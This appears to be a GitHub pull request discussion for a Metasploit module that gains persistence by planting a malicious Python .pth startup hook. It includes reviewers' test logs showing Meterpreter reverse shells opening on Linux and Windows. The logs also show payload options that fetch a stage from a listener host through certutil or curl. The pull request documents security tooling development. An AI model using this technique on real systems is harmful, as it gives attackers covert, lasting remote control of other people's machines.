-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Adds module for python site-specific hook persistence #20692
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Adds module for python site-specific hook persistence #20692
Conversation
|
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
modules/exploits/multi/persistence/python_site_specific_hook.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/persistence/python_site_specific_hook.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/persistence/python_site_specific_hook.rb
Outdated
Show resolved
Hide resolved
jheysel-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Nice work @msutovsky-r7! Ran into some issues testing Windows but the Linux side works great
Testing
Linux
msf exploit(multi/persistence/python_site_specific_hook) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.199.1:4004
msf exploit(multi/persistence/python_site_specific_hook) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.10
[*] Got path to site-specific hooks /usr/local/lib/python3.10/dist-packages/
[+] Successfully created malicious hook /usr/local/lib/python3.10/dist-packages/txPYHioeQt.pth
[*] Sending stage (3090404 bytes) to 172.16.199.136
[*] Meterpreter session 2 opened (172.16.199.1:4004 -> 172.16.199.136:47470) at 2025-12-09 11:37:23 -0800
msf exploit(multi/persistence/python_site_specific_hook) > sessions -i -1
[*] Starting interaction with 2...
meterpreter > getuid
syServer username: root
smeterpreter > sysinfo
Computer : 172.16.199.136
OS : Ubuntu 22.04 (Linux 6.8.0-87-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Windows failure when EXECUTION_TARGET = USER
msf exploit(multi/persistence/python_site_specific_hook) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.199.1:7721
msf exploit(multi/persistence/python_site_specific_hook) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.13
[*] Got path to site-specific hooks C:\Users\msfsuer/AppData/Local/Programs/Python/Python313/Lib/site-packages/
[-] Exploit aborted due to failure: payload-failed: Failed to create malicious hook
And when EXECUTION_TARGET = SYSTEM
msf exploit(multi/persistence/python_site_specific_hook) > run
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
msf exploit(multi/persistence/python_site_specific_hook) >
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.13
[*] Got path to site-specific hooks C:/Python313/Lib/site-packages/
[-] Exploit aborted due to failure: payload-failed: Failed to create malicious hook
I installed python3 via the Microsoft app store as was suggested by the OS and the interpreter gets installed here:
C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.13_3.13.2544.0_x64__qbz5n2kfra8p0>dir
Volume in drive C has no label.
Volume Serial Number is 024F-CE8D
Directory of C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.13_3.13.2544.0_x64__qbz5n2kfra8p0
12/09/2025 11:45 AM <DIR> .
12/09/2025 11:45 AM <DIR> ..
12/09/2025 11:45 AM 1,042,354 AppxBlockMap.xml
12/09/2025 11:45 AM 9,134 AppxManifest.xml
12/09/2025 11:45 AM <DIR> AppxMetadata
12/09/2025 11:45 AM 12,190 AppxSignature.p7x
12/09/2025 11:45 AM 23,092 classicAppCompat.sccd
12/09/2025 11:45 AM <DIR> DLLs
12/09/2025 11:45 AM 170,840 idle3.13.exe
12/09/2025 11:45 AM <DIR> include
12/09/2025 11:45 AM <DIR> Lib
12/09/2025 11:45 AM <DIR> libs
12/09/2025 11:45 AM 33,861 LICENSE.txt
12/09/2025 11:45 AM 171,864 pip3.13.exe
12/09/2025 11:45 AM 171,864 python.exe
12/09/2025 11:45 AM 171,864 python3.13.exe
12/09/2025 11:45 AM 72,536 python3.dll
12/09/2025 11:45 AM 6,125,912 python313.dll
12/09/2025 11:45 AM 170,840 pythonw.exe
12/09/2025 11:45 AM 170,840 pythonw3.13.exe
12/09/2025 11:45 AM 632,360 resources.pri
12/09/2025 11:45 AM <DIR> tcl
07/22/2025 02:12 PM 120,400 vcruntime140.dll
07/22/2025 02:12 PM 49,776 vcruntime140_1.dll
12/09/2025 11:45 AM <DIR> _resources
16 File(s) 9,149,727 bytes
9 Dir(s) 20,178,419,712 bytes free
We should account for the possibility of python being installed this way, apparently "C:\Program Files\WindowsApps" is a protected folder that one on not even admins can write to which is where "site-packages" gets installed.
msf exploit(multi/persistence/python_site_specific_hook) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
4 meterpreter x64/windows DESKTOP-0OPTL76\Administrator @ DESKTOP-0OPTL76 172.16.199.1:9931 -> 172.16.199.141:50110 (172.16.199.141)
msf exploit(multi/persistence/python_site_specific_hook) > options
Module options (exploit/multi/persistence/python_site_specific_hook):
Name Current Setting Required Description
---- --------------- -------- -----------
EXECUTION_TARGET SYSTEM yes Selects if persistence is installed under current user or for all users (Accepted: USER, SYSTEM
)
PYTHON_HOOK_PATH C:\Program Files\WindowsApps\PythonSoftwareFoundati no The path to Python site-specific hook directory
on.Python.3.13_3.13.2544.0_x64__qbz5n2kfra8p0\Lib\s
ite-packages
SESSION -1 yes The session to run this module on
Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME WBzIMgefwZR no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
LPORT 7721 yes The listen port
When FETCH_COMMAND is one of CURL:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
Exploit target:
Id Name
-- ----
0 Auto
View the full module info with the info, or info -d command.
msf exploit(multi/persistence/python_site_specific_hook) > run
[*] Exploit running as background job 8.
[*] Exploit completed, but no session was created.
msf exploit(multi/persistence/python_site_specific_hook) >
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.13
[*] Got path to site-specific hooks C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.13_3.13.2544.0_x64__qbz5n2kfra8p0\Lib\site-packages
[-] Exploit aborted due to failure: payload-failed: Failed to create malicious hook
| This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in `site-specific` or `dist-packages` directories, any lines beginning with `import` will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions. | ||
|
|
||
| ## Verification Steps | ||
| Example steps in this format (is also in the PR): |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| Example steps in this format (is also in the PR): |
modules/exploits/multi/persistence/python_site_specific_hook.rb
Outdated
Show resolved
Hide resolved
Would you mind share details of how you installed the Python on Windows? I did try with the Microsoft store and it got saved into directory |
|
Hey @msutovsky-r7, on Windows 10 with a shim in: Here's a brief screen recording of the process/ showing that these directories did not exist prior to installing. Is this how you installed from the Microsoft store? Could it be due to difference in Windows versions? |
|
Hey @jheysel-r7, I've added check if the target hook directory exists and if it is writable. The original idea was that if the target system has some different hooks path, they can use |
jheysel-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for making that change @msutovsky-r7! Makes sense and testing checks out 👍
While testing I added two final suggestion comments, once those are addressed I think this will be good to land.
Testing
No write access to PYTHON_HOOK_PATH
msf exploit(multi/persistence/python_site_specific_hook) > run
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
msf exploit(multi/persistence/python_site_specific_hook) >
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.13
[-] Exploit aborted due to failure: no-access: No permission to write to C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.13_3.13.2544.0_x64__qbz5n2kfra8p0\
[*] 172.16.199.141 - Meterpreter session 1 closed. Reason: Died
Successful run on Windows (session has write access to PYTHON_HOOK_PATH)
msf exploit(multi/persistence/python_site_specific_hook) > set session -1
session => -1
msf exploit(multi/persistence/python_site_specific_hook) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.199.1:5555
msf exploit(multi/persistence/python_site_specific_hook) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.14
[*] Got path to site-specific hooks C:\Users\msfsuer/AppData/Local/Programs/Python/Python314/Lib/site-packages/
[+] Successfully created malicious hook C:\Users\msfsuer/AppData/Local/Programs/Python/Python314/Lib/site-packages/ZvGglX.pth
msf exploit(multi/persistence/python_site_specific_hook) >
[*] Sending stage (230982 bytes) to 172.16.199.141
[*] Meterpreter session 2 opened (172.16.199.1:5555 -> 172.16.199.141:51010) at 2026-01-05 16:50:44 -0800
msf exploit(multi/persistence/python_site_specific_hook) > sessions -i -1
[*] Starting interaction with 2...
meterpreter > getuid
Server username: DESKTOP-0OPTL76\msfsuer
meterpreter > sysinfo
Computer : DESKTOP-0OPTL76
OS : Windows 10 22H2+ (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
modules/exploits/multi/persistence/python_site_specific_hook.rb
Outdated
Show resolved
Hide resolved
jheysel-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @msutovsky-r7. Testing on the latest commit was successful. The failing CI test are known, rebasing would fix them but to avoid more back and forth I'll just land this PR now 🫡
Testing
msf exploit(multi/persistence/python_site_specific_hook) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.199.1:3343
[*] Running automatic check ("set AutoCheck false" to disable)
msf exploit(multi/persistence/python_site_specific_hook) > [+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.14
[*] Got path to site-specific hooks C:\Users\msfsuer/AppData/Local/Programs/Python/Python314/Lib/site-packages/
[+] Successfully created malicious hook C:\Users\msfsuer/AppData/Local/Programs/Python/Python314/Lib/site-packages/hRWIb.pth
[*] Meterpreter-compatible Cleanup RC file: /Users/jheysel/.msf4/logs/persistence/DESKTOP-0OPTL76_20260106.1155/DESKTOP-0OPTL76_20260106.1155.rc
[*] Sending stage (230982 bytes) to 172.16.199.141
[*] Meterpreter session 2 opened (172.16.199.1:3343 -> 172.16.199.141:57472) at 2026-01-06 16:14:31 -0800
Release NotesThis adds a persistence module which leverages Python's startup mechanism, where some files can be automatically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions. |
Work in progressThis module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in
site-specificordist-packagesdirectories, any lines beginning withimportwill be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.Verification Steps
Example steps in this format (is also in the PR):
use multi/persistence/python_site_specific_hookset session #runOptions
PYTHON_HOOK_PATH
If user has session to target machine with non-typical Python paths, they can set their own path to Python hooks.
EXECUTION_TARGET
Python has multiple locations, where it can store startup hooks. This option specifies if the target location should be SYSTEM one - i.e. should affect all users - or USER one, which targets current user.
Scenarios
Linux pop-os 6.17.4-76061704-generic
Windows 10.0.15063